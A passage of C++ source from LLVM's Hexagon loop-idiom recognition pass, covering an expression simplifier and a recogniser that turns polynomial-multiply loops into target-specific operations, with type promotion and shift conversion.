AU.addRequired<TargetLibraryInfoWrapperPass>(); AU.addPreserved<TargetLibraryInfoWrapperPass>(); } bool runOnLoop(Loop *L, LPPassManager &LPM) override; private: int getSCEVStride(const SCEVAddRecExpr *StoreEv); bool isLegalStore(Loop *CurLoop, StoreInst *SI); void collectStores(Loop *CurLoop, BasicBlock *BB, SmallVectorImpl<StoreInst*> &Stores); bool processCopyingStore(Loop *CurLoop, StoreInst *SI, const SCEV *BECount); bool coverLoop(Loop *L, SmallVectorImpl<Instruction*> &Insts) const; bool runOnLoopBlock(Loop *CurLoop, BasicBlock *BB, const SCEV *BECount, SmallVectorImpl<BasicBlock*> &ExitBlocks); bool runOnCountableLoop(Loop *L); AliasAnalysis *AA; const DataLayout *DL; DominatorTree *DT; LoopInfo *LF; const TargetLibraryInfo *TLI; ScalarEvolution *SE; bool HasMemcpy, HasMemmove; }; struct Simplifier { struct Rule { using FuncType = std::function<Value* (Instruction*, LLVMContext&)>; Rule(StringRef N, FuncType F) : Name(N), Fn(F) {} StringRef Name; // For debugging. FuncType Fn; }; void addRule(StringRef N, const Rule::FuncType &F) { Rules.push_back(Rule(N, F)); } private: struct WorkListType { WorkListType() = default; void push_back(Value* V) { // Do not push back duplicates. if (!S.count(V)) { Q.push_back(V); S.insert(V); } } Value *pop_front_val() { Value *V = Q.front(); Q.pop_front(); S.erase(V); return V; } bool empty() const { return Q.empty(); } private: std::deque<Value*> Q; std::set<Value*> S; }; using ValueSetType = std::set<Value *>; std::vector<Rule> Rules; public: struct Context { using ValueMapType = DenseMap<Value *, Value *>; Value *Root; ValueSetType Used; // The set of all cloned values used by Root. ValueSetType Clones; // The set of all cloned values. LLVMContext &Ctx; Context(Instruction *Exp) : Ctx(Exp->getParent()->getParent()->getContext()) { initialize(Exp); } ~Context() { cleanup(); } void print(raw_ostream &OS, const Value *V) const; Value *materialize(BasicBlock *B, BasicBlock::iterator At); private: friend struct Simplifier; void initialize(Instruction *Exp); void cleanup(); template <typename FuncT> void traverse(Value *V, FuncT F); void record(Value *V); void use(Value *V); void unuse(Value *V); bool equal(const Instruction *I, const Instruction *J) const; Value *find(Value *Tree, Value *Sub) const; Value *subst(Value *Tree, Value *OldV, Value *NewV); void replace(Value *OldV, Value *NewV); void link(Instruction *I, BasicBlock *B, BasicBlock::iterator At); }; Value *simplify(Context &C); }; struct PE { PE(const Simplifier::Context &c, Value *v = nullptr) : C(c), V(v) {} const Simplifier::Context &C; const Value *V; }; LLVM_ATTRIBUTE_USED raw_ostream &operator<<(raw_ostream &OS, const PE &P) { P.C.print(OS, P.V ? P.V : P.C.Root); return OS; } } // end anonymous namespace char HexagonLoopIdiomRecognize::ID = 0; INITIALIZE_PASS_BEGIN(HexagonLoopIdiomRecognize, "hexagon-loop-idiom", "Recognize Hexagon-specific loop idioms", false, false) INITIALIZE_PASS_DEPENDENCY(LoopInfoWrapperPass) INITIALIZE_PASS_DEPENDENCY(LoopSimplify) INITIALIZE_PASS_DEPENDENCY(LCSSAWrapperPass) INITIALIZE_PASS_DEPENDENCY(ScalarEvolutionWrapperPass) INITIALIZE_PASS_DEPENDENCY(DominatorTreeWrapperPass) INITIALIZE_PASS_DEPENDENCY(TargetLibraryInfoWrapperPass) INITIALIZE_PASS_DEPENDENCY(AAResultsWrapperPass) INITIALIZE_PASS_END(HexagonLoopIdiomRecognize, "hexagon-loop-idiom", "Recognize Hexagon-specific loop idioms", false, false) template <typename FuncT> void Simplifier::Context::traverse(Value *V, FuncT F) { WorkListType Q; Q.push_back(V); while (!Q.empty()) { Instruction *U = dyn_cast<Instruction>(Q.pop_front_val()); if (!U || U->getParent()) continue; if (!F(U)) continue; for (Value *Op : U->operands()) Q.push_back(Op); } } void Simplifier::Context::print(raw_ostream &OS, const Value *V) const { const auto *U = dyn_cast<const Instruction>(V); if (!U) { OS << V << '(' << *V << ')'; return; } if (U->getParent()) { OS << U << '('; U->printAsOperand(OS, true); OS << ')'; return; } unsigned N = U->getNumOperands(); if (N != 0) OS << U << '('; OS << U->getOpcodeName(); for (const Value *Op : U->operands()) { OS << ' '; print(OS, Op); } if (N != 0) OS << ')'; } void Simplifier::Context::initialize(Instruction *Exp) { // Perform a deep clone of the expression, set Root to the root // of the clone, and build a map from the cloned values to the // original ones. ValueMapType M; BasicBlock *Block = Exp->getParent(); WorkListType Q; Q.push_back(Exp); while (!Q.empty()) { Value *V = Q.pop_front_val(); if (M.find(V) != M.end()) continue; if (Instruction *U = dyn_cast<Instruction>(V)) { if (isa<PHINode>(U) || U->getParent() != Block) continue; for (Value *Op : U->operands()) Q.push_back(Op); M.insert({U, U->clone()}); } } for (std::pair<Value*,Value*> P : M) { Instruction *U = cast<Instruction>(P.second); for (unsigned i = 0, n = U->getNumOperands(); i != n; ++i) { auto F = M.find(U->getOperand(i)); if (F != M.end()) U->setOperand(i, F->second); } } auto R = M.find(Exp); assert(R != M.end()); Root = R->second; record(Root); use(Root); } void Simplifier::Context::record(Value *V) { auto Record = [this](Instruction *U) -> bool { Clones.insert(U); return true; }; traverse(V, Record); } void Simplifier::Context::use(Value *V) { auto Use = [this](Instruction *U) -> bool { Used.insert(U); return true; }; traverse(V, Use); } void Simplifier::Context::unuse(Value *V) { if (!isa<Instruction>(V) || cast<Instruction>(V)->getParent() != nullptr) return; auto Unuse = [this](Instruction *U) -> bool { if (!U->use_empty()) return false; Used.erase(U); return true; }; traverse(V, Unuse); } Value *Simplifier::Context::subst(Value *Tree, Value *OldV, Value *NewV) { if (Tree == OldV) return NewV; if (OldV == NewV) return Tree; WorkListType Q; Q.push_back(Tree); while (!Q.empty()) { Instruction *U = dyn_cast<Instruction>(Q.pop_front_val()); // If U is not an instruction, or it's not a clone, skip it. if (!U || U->getParent()) continue; for (unsigned i = 0, n = U->getNumOperands(); i != n; ++i) { Value *Op = U->getOperand(i); if (Op == OldV) { U->setOperand(i, NewV); unuse(OldV); } else { Q.push_back(Op); } } } return Tree; } void Simplifier::Context::replace(Value *OldV, Value *NewV) { if (Root == OldV) { Root = NewV; use(Root); return; } // NewV may be a complex tree that has just been created by one of the // transformation rules. We need to make sure that it is commoned with // the existing Root to the maximum extent possible. // Identify all subtrees of NewV (including NewV itself) that have // equivalent counterparts in Root, and replace those subtrees with // these counterparts. WorkListType Q; Q.push_back(NewV); while (!Q.empty()) { Value *V = Q.pop_front_val(); Instruction *U = dyn_cast<Instruction>(V); if (!U || U->getParent()) continue; if (Value *DupV = find(Root, V)) { if (DupV != V) NewV = subst(NewV, V, DupV); } else { for (Value *Op : U->operands()) Q.push_back(Op); } } // Now, simply replace OldV with NewV in Root. Root = subst(Root, OldV, NewV); use(Root); } void Simplifier::Context::cleanup() { for (Value *V : Clones) { Instruction *U = cast<Instruction>(V); if (!U->getParent()) U->dropAllReferences(); } for (Value *V : Clones) { Instruction *U = cast<Instruction>(V); if (!U->getParent()) U->deleteValue(); } } bool Simplifier::Context::equal(const Instruction *I, const Instruction *J) const { if (I == J) return true; if (!I->isSameOperationAs(J)) return false; if (isa<PHINode>(I)) return I->isIdenticalTo(J); for (unsigned i = 0, n = I->getNumOperands(); i != n; ++i) { Value *OpI = I->getOperand(i), *OpJ = J->getOperand(i); if (OpI == OpJ) continue; auto *InI = dyn_cast<const Instruction>(OpI); auto *InJ = dyn_cast<const Instruction>(OpJ); if (InI && InJ) { if (!equal(InI, InJ)) return false; } else if (InI != InJ || !InI) return false; } return true; } Value *Simplifier::Context::find(Value *Tree, Value *Sub) const { Instruction *SubI = dyn_cast<Instruction>(Sub); WorkListType Q; Q.push_back(Tree); while (!Q.empty()) { Value *V = Q.pop_front_val(); if (V == Sub) return V; Instruction *U = dyn_cast<Instruction>(V); if (!U || U->getParent()) continue; if (SubI && equal(SubI, U)) return U; assert(!isa<PHINode>(U)); for (Value *Op : U->operands()) Q.push_back(Op); } return nullptr; } void Simplifier::Context::link(Instruction *I, BasicBlock *B, BasicBlock::iterator At) { if (I->getParent()) return; for (Value *Op : I->operands()) { if (Instruction *OpI = dyn_cast<Instruction>(Op)) link(OpI, B, At); } B->getInstList().insert(At, I); } Value *Simplifier::Context::materialize(BasicBlock *B, BasicBlock::iterator At) { if (Instruction *RootI = dyn_cast<Instruction>(Root)) link(RootI, B, At); return Root; } Value *Simplifier::simplify(Context &C) { WorkListType Q; Q.push_back(C.Root); unsigned Count = 0; const unsigned Limit = SimplifyLimit; while (!Q.empty()) { if (Count++ >= Limit) break; Instruction *U = dyn_cast<Instruction>(Q.pop_front_val()); if (!U || U->getParent() || !C.Used.count(U)) continue; bool Changed = false; for (Rule &R : Rules) { Value *W = R.Fn(U, C.Ctx); if (!W) continue; Changed = true; C.record(W); C.replace(U, W); Q.push_back(C.Root); break; } if (!Changed) { for (Value *Op : U->operands()) Q.push_back(Op); } } return Count < Limit ? C.Root : nullptr; } //===----------------------------------------------------------------------===// // // Implementation of PolynomialMultiplyRecognize // //===----------------------------------------------------------------------===// namespace { class PolynomialMultiplyRecognize { public: explicit PolynomialMultiplyRecognize(Loop *loop, const DataLayout &dl, const DominatorTree &dt, const TargetLibraryInfo &tli, ScalarEvolution &se) : CurLoop(loop), DL(dl), DT(dt), TLI(tli), SE(se) {} bool recognize(); private: using ValueSeq = SetVector<Value *>; IntegerType *getPmpyType() const { LLVMContext &Ctx = CurLoop->getHeader()->getParent()->getContext(); return IntegerType::get(Ctx, 32); } bool isPromotableTo(Value *V, IntegerType *Ty); void promoteTo(Instruction *In, IntegerType *DestTy, BasicBlock *LoopB); bool promoteTypes(BasicBlock *LoopB, BasicBlock *ExitB); Value *getCountIV(BasicBlock *BB); bool findCycle(Value *Out, Value *In, ValueSeq &Cycle); void classifyCycle(Instruction *DivI, ValueSeq &Cycle, ValueSeq &Early, ValueSeq &Late); bool classifyInst(Instruction *UseI, ValueSeq &Early, ValueSeq &Late); bool commutesWithShift(Instruction *I); bool highBitsAreZero(Value *V, unsigned IterCount); bool keepsHighBitsZero(Value *V, unsigned IterCount); bool isOperandShifted(Instruction *I, Value *Op); bool convertShiftsToLeft(BasicBlock *LoopB, BasicBlock *ExitB, unsigned IterCount); void cleanupLoopBody(BasicBlock *LoopB); struct ParsedValues { ParsedValues() = default; Value *M = nullptr; Value *P = nullptr; Value *Q = nullptr; Value *R = nullptr; Value *X = nullptr; Instruction *Res = nullptr; unsigned IterCount = 0; bool Left = false; bool Inv = false; }; bool matchLeftShift(SelectInst *SelI, Value *CIV, ParsedValues &PV); bool matchRightShift(SelectInst *SelI, ParsedValues &PV); bool scanSelect(SelectInst *SI, BasicBlock *LoopB, BasicBlock *PrehB, Value *CIV, ParsedValues &PV, bool PreScan); unsigned getInverseMxN(unsigned QP); Value *generate(BasicBlock::iterator At, ParsedValues &PV); void setupPreSimplifier(Simplifier &S); void setupPostSimplifier(Simplifier &S); Loop *CurLoop; const DataLayout &DL; const DominatorTree &DT; const TargetLibraryInfo &TLI; ScalarEvolution &SE; }; } // end anonymous namespace Value *PolynomialMultiplyRecognize::getCountIV(BasicBlock *BB) { pred_iterator PI = pred_begin(BB), PE = pred_end(BB); if (std::distance(PI, PE) != 2) return nullptr; BasicBlock *PB = (*PI == BB) ? *std::next(PI) : *PI; for (auto I = BB->begin(), E = BB->end(); I != E && isa<PHINode>(I); ++I) { auto *PN = cast<PHINode>(I); Value *InitV = PN->getIncomingValueForBlock(PB); if (!isa<ConstantInt>(InitV) || !cast<ConstantInt>(InitV)->isZero()) continue; Value *IterV = PN->getIncomingValueForBlock(BB); auto *BO = dyn_cast<BinaryOperator>(IterV); if (!BO) continue; if (BO->getOpcode() != Instruction::Add) continue; Value *IncV = nullptr; if (BO->getOperand(0) == PN) IncV = BO->getOperand(1); else if (BO->getOperand(1) == PN) IncV = BO->getOperand(0); if (IncV == nullptr) continue; if (auto *T = dyn_cast<ConstantInt>(IncV)) if (T->getZExtValue() == 1) return PN; } return nullptr; } static void replaceAllUsesOfWithIn(Value *I, Value *J, BasicBlock *BB) { for (auto UI = I->user_begin(), UE = I->user_end(); UI != UE;) { Use &TheUse = UI.getUse(); ++UI; if (auto *II = dyn_cast<Instruction>(TheUse.getUser())) if (BB == II->getParent()) II->replaceUsesOfWith(I, J); } } bool PolynomialMultiplyRecognize::matchLeftShift(SelectInst *SelI, Value *CIV, ParsedValues &PV) { // Match the following: // select (X & (1 << i)) != 0 ? R ^ (Q << i) : R // select (X & (1 << i)) == 0 ? R : R ^ (Q << i) // The condition may also check for equality with the masked value, i.e // select (X & (1 << i)) == (1 << i) ? R ^ (Q << i) : R // select (X & (1 << i)) != (1 << i) ? R : R ^ (Q << i); Value *CondV = SelI->getCondition(); Value *TrueV = SelI->getTrueValue(); Value *FalseV = SelI->getFalseValue(); using namespace PatternMatch; CmpInst::Predicate P; Value *A = nullptr, *B = nullptr, *C = nullptr; if (!match(CondV, m_ICmp(P, m_And(m_Value(A), m_Value(B)), m_Value(C))) && !match(CondV, m_ICmp(P, m_Value(C), m_And(m_Value(A), m_Value(B))))) return false; if (P != CmpInst::ICMP_EQ && P != CmpInst::ICMP_NE) return false; // Matched: select (A & B) == C ? ... : ... // select (A & B) != C ? ... : ... Value *X = nullptr, *Sh1 = nullptr; // Check (A & B) for (X & (1 << i)): if (match(A, m_Shl(m_One(), m_Specific(CIV)))) { Sh1 = A; X = B; } else if (match(B, m_Shl(m_One(), m_Specific(CIV)))) { Sh1 = B; X = A; } else { // TODO: Could also check for an induction variable containing single // bit shifted left by 1 in each iteration. return false; } bool TrueIfZero; // Check C against the possible values for comparison: 0 and (1 << i): if (match(C, m_Zero())) TrueIfZero = (P == CmpInst::ICMP_EQ); else if (C == Sh1) TrueIfZero = (P == CmpInst::ICMP_NE); else return false; // So far, matched: // select (X & (1 << i)) ? ... : ... // including variations of the check against zero/non-zero value. Value *ShouldSameV = nullptr, *ShouldXoredV = nullptr; if (TrueIfZero) { ShouldSameV = TrueV; ShouldXoredV = FalseV; } else { ShouldSameV = FalseV; ShouldXoredV = TrueV; } Value *Q = nullptr, *R = nullptr, *Y = nullptr, *Z = nullptr; Value *T = nullptr; if (match(ShouldXoredV, m_Xor(m_Value(Y), m_Value(Z)))) { // Matched: select +++ ? ... : Y ^ Z // select +++ ? Y ^ Z : ... // where +++ denotes previously checked matches. if (ShouldSameV == Y) T = Z; else if (ShouldSameV == Z) T = Y; else return false; R = ShouldSameV; // Matched: select +++ ? R : R ^ T // select +++ ? R ^ T : R // depending on TrueIfZero. } else if (match(ShouldSameV, m_Zero())) { // Matched: select +++ ? 0 : ... // select +++ ? ... : 0 if (!SelI->hasOneUse()) return false; T = ShouldXoredV; // Matched: select +++ ? 0 : T // select +++ ? T : 0 Value *U = *SelI->user_begin(); if (!match(U, m_Xor(m_Specific(SelI), m_Value(R))) && !match(U, m_Xor(m_Value(R), m_Specific(SelI)))) return false; // Matched: xor (select +++ ? 0 : T), R // xor (select +++ ? T : 0), R } else return false; // The xor input value T is isolated into its own match so that it could // be checked against an induction variable containing a shifted bit // (todo). // For now, check against (Q << i). if (!match(T, m_Shl(m_Value(Q), m_Specific(CIV))) && !match(T, m_Shl(m_ZExt(m_Value(Q)), m_ZExt(m_Specific(CIV))))) return false; // Matched: select +++ ? R : R ^ (Q << i) // select +++ ? R ^ (Q << i) : R PV.X = X; PV.Q = Q; PV.R = R; PV.Left = true; return true; } bool PolynomialMultiplyRecognize::matchRightShift(SelectInst *SelI, ParsedValues &PV) { // Match the following: // select (X & 1) != 0 ? (R >> 1) ^ Q : (R >> 1) // select (X & 1) == 0 ? (R >> 1) : (R >> 1) ^ Q // The condition may also check for equality with the masked value, i.e // select (X & 1) == 1 ? (R >> 1) ^ Q : (R >> 1) // select (X & 1) != 1 ? (R >> 1) : (R >> 1) ^ Q Value *CondV = SelI->getCondition(); Value *TrueV = SelI->getTrueValue(); Value *FalseV = SelI->getFalseValue(); using namespace PatternMatch; Value *C = nullptr; CmpInst::Predicate P; bool TrueIfZero; if (match(CondV, m_ICmp(P, m_Value(C), m_Zero())) || match(CondV, m_ICmp(P, m_Zero(), m_Value(C)))) { if (P != CmpInst::ICMP_EQ && P != CmpInst::ICMP_NE) return false; // Matched: select C == 0 ? ... : ... // select C != 0 ? ... : ... TrueIfZero = (P == CmpInst::ICMP_EQ); } else if (match(CondV, m_ICmp(P, m_Value(C), m_One())) || match(CondV, m_ICmp(P, m_One(), m_Value(C)))) { if (P != CmpInst::ICMP_EQ && P != CmpInst::ICMP_NE) return false; // Matched: select C == 1 ? ... : ... // select C != 1 ? ... : ... TrueIfZero = (P == CmpInst::ICMP_NE); } else return false; Value *X = nullptr; if (!match(C, m_And(m_Value(X), m_One())) && !match(C, m_And(m_One(), m_Value(X)))) return false; // Matched: select (X & 1) == +++ ? ... : ... // select (X & 1) != +++ ? ... : ... Value *R = nullptr, *Q = nullptr; if (TrueIfZero) { // The select's condition is true if the tested bit is 0. // TrueV must be the shift, FalseV must be the xor. if (!match(TrueV, m_LShr(m_Value(R), m_One()))) return false; // Matched: select +++ ? (R >> 1) : ... if (!match(FalseV, m_Xor(m_Specific(TrueV), m_Value(Q))) && !match(FalseV, m_Xor(m_Value(Q), m_Specific(TrueV)))) return false; // Matched: select +++ ? (R >> 1) : (R >> 1) ^ Q // with commuting ^. } else { // The select's condition is true if the tested bit is 1. // TrueV must be the xor, FalseV must be the shift. if (!match(FalseV, m_LShr(m_Value(R), m_One()))) return false; // Matched: select +++ ? ... : (R >> 1) if (!match(TrueV, m_Xor(m_Specific(FalseV), m_Value(Q))) && !match(TrueV, m_Xor(m_Value(Q), m_Specific(FalseV)))) return false; // Matched: select +++ ? (R >> 1) ^ Q : (R >> 1) // with commuting ^. } PV.X = X; PV.Q = Q; PV.R = R; PV.Left = false; return true; } bool PolynomialMultiplyRecognize::scanSelect(SelectInst *SelI, BasicBlock *LoopB, BasicBlock *PrehB, Value *CIV, ParsedValues &PV, bool PreScan) { using namespace PatternMatch; // The basic pattern for R = P.Q is: // for i = 0..31 // R = phi (0, R') // if (P & (1 << i)) ; test-bit(P, i) // R' = R ^ (Q << i) // // Similarly, the basic pattern for R = (P/Q).Q - P // for i = 0..31 // R = phi(P, R') // if (R & (1 << i)) // R' = R ^ (Q << i) // There exist idioms, where instead of Q being shifted left, P is shifted // right. This produces a result that is shifted right by 32 bits (the // non-shifted result is 64-bit). // // For R = P.Q, this would be: // for i = 0..31 // R = phi (0, R') // if ((P >> i) & 1) // R' = (R >> 1) ^ Q ; R is cycled through the loop, so it must // else ; be shifted by 1, not i. // R' = R >> 1 // // And for the inverse: // for i = 0..31 // R = phi (P, R') // if (R & 1) // R' = (R >> 1) ^ Q // else // R' = R >> 1 // The left-shifting idioms share the same pattern: // select (X & (1 << i)) ? R ^ (Q << i) : R // Similarly for right-shifting idioms: // select (X & 1) ? (R >> 1) ^ Q if (matchLeftShift(SelI, CIV, PV)) { // If this is a pre-scan, getting this far is sufficient. if (PreScan) return true; // Need to make sure that the SelI goes back into R. auto *RPhi = dyn_cast<PHINode>(PV.R); if (!RPhi) return false; if (SelI != RPhi->getIncomingValueForBlock(LoopB)) return false; PV.Res = SelI; // If X is loop invariant, it must be the input polynomial, and the // idiom is the basic polynomial multiply. if (CurLoop->isLoopInvariant(PV.X)) { PV.P = PV.X; PV.Inv = false; } else { // X is not loop invariant. If X == R, this is the inverse pmpy. // Otherwise, check for an xor with an invariant value. If the // variable argument to the xor is R, then this is still a valid // inverse pmpy. PV.Inv = true; if (PV.X != PV.R) { Value *Var = nullptr, *Inv = nullptr, *X1 = nullptr, *X2 = nullptr; if (!match(PV.X, m_Xor(m_Value(X1), m_Value(X2)))) return false; auto *I1 = dyn_cast<Instruction>(X1); auto *I2 = dyn_cast<Instruction>(X2); if (!I1 || I1->getParent() != LoopB) { Var = X2; Inv = X1; } else if (!I2 || I2->getParent() != LoopB) { Var = X1; Inv = X2; } else return false; if (Var != PV.R) return false; PV.M = Inv; } // The input polynomial P still needs to be determined. It will be // the entry value of R. Value *EntryP = RPhi->getIncomingValueForBlock(PrehB); PV.P = EntryP; } return true; } if (matchRightShift(SelI, PV)) { // If this is an inverse pattern, the Q polynomial must be known at // compile time. if (PV.Inv && !isa<ConstantInt>(PV.Q)) return false; if (PreScan) return true; // There is no exact matching of right-shift pmpy. return false; } return false; } bool PolynomialMultiplyRecognize::isPromotableTo(Value *Val, IntegerType *DestTy) { IntegerType *T = dyn_cast<IntegerType>(Val->getType()); if (!T || T->getBitWidth() > DestTy->getBitWidth()) return false; if (T->getBitWidth() == DestTy->getBitWidth()) return true; // Non-instructions are promotable. The reason why an instruction may not // be promotable is that it may produce a different result if its operands // and the result are promoted, for example, it may produce more non-zero // bits. While it would still be possible to represent the proper result // in a wider type, it may require adding additional instructions (which // we don't want to do). Instruction *In = dyn_cast<Instruction>(Val); if (!In) return true; // The bitwidth of the source type is smaller than the destination. // Check if the individual operation can be promoted. switch (In->getOpcode()) { case Instruction::PHI: case Instruction::ZExt: case Instruction::And: case Instruction::Or: case Instruction::Xor: case Instruction::LShr: // Shift right is ok. case Instruction::Select: case Instruction::Trunc: return true; case Instruction::ICmp: if (CmpInst *CI = cast<CmpInst>(In)) return CI->isEquality() || CI->isUnsigned(); llvm_unreachable("Cast failed unexpectedly"); case Instruction::Add: return In->hasNoSignedWrap() && In->hasNoUnsignedWrap(); } return false; } void PolynomialMultiplyRecognize::promoteTo(Instruction *In, IntegerType *DestTy, BasicBlock *LoopB) { Type *OrigTy = In->getType(); assert(!OrigTy->isVoidTy() && "Invalid instruction to promote"); // Leave boolean values alone. if (!In->getType()->isIntegerTy(1)) In->mutateType(DestTy); unsigned DestBW = DestTy->getBitWidth(); // Handle PHIs. if (PHINode *P = dyn_cast<PHINode>(In)) { unsigned N = P->getNumIncomingValues(); for (unsigned i = 0; i != N; ++i) { BasicBlock *InB = P->getIncomingBlock(i); if (InB == LoopB) continue; Value *InV = P->getIncomingValue(i); IntegerType *Ty = cast<IntegerType>(InV->getType()); // Do not promote values in PHI nodes of type i1. if (Ty != P->getType()) { // If the value type does not match the PHI type, the PHI type // must have been promoted. assert(Ty->getBitWidth() < DestBW); InV = IRBuilder<>(InB->getTerminator()).CreateZExt(InV, DestTy); P->setIncomingValue(i, InV); } } } else if (ZExtInst *Z = dyn_cast<ZExtInst>(In)) { Value *Op = Z->getOperand(0); if (Op->getType() == Z->getType()) Z->replaceAllUsesWith(Op); Z->eraseFromParent(); return; } if (TruncInst *T = dyn_cast<TruncInst>(In)) { IntegerType *TruncTy = cast<IntegerType>(OrigTy); Value *Mask = ConstantInt::get(DestTy, (1u << TruncTy->getBitWidth()) - 1); Value *And = IRBuilder<>(In).CreateAnd(T->getOperand(0), Mask); T->replaceAllUsesWith(And); T->eraseFromParent(); return; } // Promote immediates. for (unsigned i = 0, n = In->getNumOperands(); i != n; ++i) { if (ConstantInt *CI = dyn_cast<ConstantInt>(In->getOperand(i))) if (CI->getType()->getBitWidth() < DestBW) In->setOperand(i, ConstantInt::get(DestTy, CI->getZExtValue())); } } bool PolynomialMultiplyRecognize::promoteTypes(BasicBlock *LoopB, BasicBlock *ExitB) { assert(LoopB); // Skip loops where the exit block has more than one predecessor. The values // coming from the loop block will be promoted to another type, and so the // values coming into the exit block from other predecessors would also have // to be promoted. if (!ExitB || (ExitB->getSinglePredecessor() != LoopB)) return false; IntegerType *DestTy = getPmpyType(); // Check if the exit values have types that are no wider than the type // that we want to promote to. unsigned DestBW = DestTy->getBitWidth(); for (PHINode &P : ExitB->phis()) { if (P.getNumIncomingValues() != 1) return false; assert(P.getIncomingBlock(0) == LoopB); IntegerType *T = dyn_cast<IntegerType>(P.getType()); if (!T || T->getBitWidth() > DestBW) return false; } // Check all instructions in the loop. for (Instruction &In : *LoopB) if (!In.isTerminator() && !isPromotableTo(&In, DestTy)) return false; // Perform the promotion. std::vector<Instruction*> LoopIns; std::transform(LoopB->begin(), LoopB->end(), std::back_inserter(LoopIns), [](Instruction &In) { return &In; }); for (Instruction *In : LoopIns) if (!In->isTerminator()) promoteTo(In, DestTy, LoopB); // Fix up the PHI nodes in the exit block. Instruction *EndI = ExitB->getFirstNonPHI(); BasicBlock::iterator End = EndI ? EndI->getIterator() : ExitB->end(); for (auto I = ExitB->begin(); I != End; ++I) { PHINode *P = dyn_cast<PHINode>(I); if (!P) break; Type *Ty0 = P->getIncomingValue(0)->getType(); Type *PTy = P->getType(); if (PTy != Ty0) { assert(Ty0 == DestTy); // In order to create the trunc, P must have the promoted type. P->mutateType(Ty0); Value *T = IRBuilder<>(ExitB, End).CreateTrunc(P, PTy); // In order for the RAUW to work, the types of P and T must match. P->mutateType(PTy); P->replaceAllUsesWith(T); // Final update of the P's type. P->mutateType(Ty0); cast<Instruction>(T)->setOperand(0, P); } } return true; } bool PolynomialMultiplyRecognize::findCycle(Value *Out, Value *In, ValueSeq &Cycle) { // Out = ..., In, ... if (Out == In) return true; auto *BB = cast<Instruction>(Out)->getParent(); bool HadPhi = false; for (auto U : Out->users()) { auto *I = dyn_cast<Instruction>(&*U); if (I == nullptr || I->getParent() != BB) continue; // Make sure that there are no multi-iteration cycles, e.g. // p1 = phi(p2) // p2 = phi(p1) // The cycle p1->p2->p1 would span two loop iterations. // Check that there is only one phi in the cycle. bool IsPhi = isa<PHINode>(I); if (IsPhi && HadPhi) return false; HadPhi |= IsPhi; if (Cycle.count(I)) return false; Cycle.insert(I); if (findCycle(I, In, Cycle)) break; Cycle.remove(I); } return !Cycle.empty(); } void PolynomialMultiplyRecognize::classifyCycle(Instruction *DivI, ValueSeq &Cycle, ValueSeq &Early, ValueSeq &Late) { // All the values in the cycle that are between the phi node and the // divider instruction will be classified as "early", all other values // will be "late". bool IsE = true; unsigned I, N = Cycle.size(); for (I = 0; I < N; ++I) { Value *V = Cycle[I]; if (DivI == V) IsE = false; else if (!isa<PHINode>(V)) continue; // Stop if found either. break; } // "I" is the index of either DivI or the phi node, whichever was first. // "E" is "false" or "true" respectively. ValueSeq &First = !IsE ? Early : Late; for (unsigned J = 0; J < I; ++J) First.insert(Cycle[J]); ValueSeq &Second = IsE ? Early : Late; Second.insert(Cycle[I]); for (++I; I < N; ++I) { Value *V = Cycle[I]; if (DivI == V || isa<PHINode>(V)) break; Second.insert(V); } for (; I < N; ++I) First.insert(Cycle[I]); } bool PolynomialMultiplyRecognize::classifyInst(Instruction *UseI, ValueSeq &Early, ValueSeq &Late) { // Select is an exception, since the condition value does not have to be // classified in the same way as the true/false values. The true/false // values do have to be both early or both late. if (UseI->getOpcode() == Instruction::Select) { Value *TV = UseI->getOperand(1), *FV = UseI->getOperand(2); if (Early.count(TV) || Early.count(FV)) { if (Late.count(TV) || Late.count(FV)) return false; Early.insert(UseI); } else if (Late.count(TV) || Late.count(FV)) { if (Early.count(TV) || Early.count(FV)) return false; Late.insert(UseI); } return true; } // Not sure what would be the example of this, but the code below relies // on having at least one operand. if (UseI->getNumOperands() == 0) return true; bool AE = true, AL = true; for (auto &I : UseI->operands()) { if (Early.count(&*I)) AL = false; else if (Late.count(&*I)) AE = false; } // If the operands appear "all early" and "all late" at the same time, // then it means that none of them are actually classified as either. // This is harmless. if (AE && AL) return true; // Conversely, if they are neither "all early" nor "all late", then // we have a mixture of early and late operands that is not a known // exception. if (!AE && !AL) return false; // Check that we have covered the two special cases. assert(AE != AL); if (AE) Early.insert(UseI); else Late.insert(UseI); return true; } bool PolynomialMultiplyRecognize::commutesWithShift(Instruction *I) { switch (I->getOpcode()) { case Instruction::And: case Instruction::Or: case Instruction::Xor: case Instruction::LShr: case Instruction::Shl: case Instruction::Select: case Instruction::ICmp: case Instruction::PHI: break; default: return false; } return true; } bool PolynomialMultiplyRecognize::highBitsAreZero(Value *V, unsigned IterCount) { auto *T = dyn_cast<IntegerType>(V->getType()); if (!T) return false; KnownBits Known(T->getBitWidth()); computeKnownBits(V, Known, DL); return Known.countMinLeadingZeros() >= IterCount; } bool PolynomialMultiplyRecognize::keepsHighBitsZero(Value *V, unsigned IterCount) { // Assume that all inputs to the value have the high bits zero. // Check if the value itself preserves the zeros in the high bits. if (auto *C = dyn_cast<ConstantInt>(V)) return C->getValue().countLeadingZeros() >= IterCount; if (auto *I = dyn_cast<Instruction>(V)) { switch (I->getOpcode()) { case Instruction::And: case Instruction::Or: case Instruction::Xor: case Instruction::LShr: case Instruction::Select: case Instruction::ICmp: case Instruction::PHI: case Instruction::ZExt: return true; } } return false; } bool PolynomialMultiplyRecognize::isOperandShifted(Instruction *I, Value *Op) { unsigned Opc = I->getOpcode(); if (Opc == Instruction::Shl || Opc == Instruction::LShr) return Op != I->getOperand(1); return true; } bool PolynomialMultiplyRecognize::convertShiftsToLeft(BasicBlock *LoopB, BasicBlock *ExitB, unsigned IterCount) { Value *CIV = getCountIV(LoopB); if (CIV == nullptr) return false; auto *CIVTy = dyn_cast<IntegerType>(CIV->getType()); if (CIVTy == nullptr) return false; ValueSeq RShifts; ValueSeq Early, Late, Cycled; // Find all value cycles that contain logical right shifts by 1. for (Instruction &I : *LoopB) { using namespace PatternMatch; Value *V = nullptr; if (!match(&I, m_LShr(m_Value(V), m_One()))) continue; ValueSeq C; if (!findCycle(&I, V, C)) continue; // Found a cycle. C.insert(&I); classifyCycle(&I, C, Early, Late); Cycled.insert(C.begin(), C.end()); RShifts.insert(&I); } // Find the set of all values affected by the shift cycles, i.e. all // cycled values, and (recursively) all their users. ValueSeq Users(Cycled.begin(), Cycled.end()); for (unsigned i = 0; i < Users.size(); ++i) { Value *V = Users[i]; if (!isa<IntegerType>(V->getType())) return false; auto *R = cast<Instruction>(V); // If the instruction does not commute with shifts, the loop cannot // be unshifted. if (!commutesWithShift(R)) return false; for (auto I = R->user_begin(), E = R->user_end(); I != E; ++I) { auto *T = cast<Instruction>(*I); // Skip users from 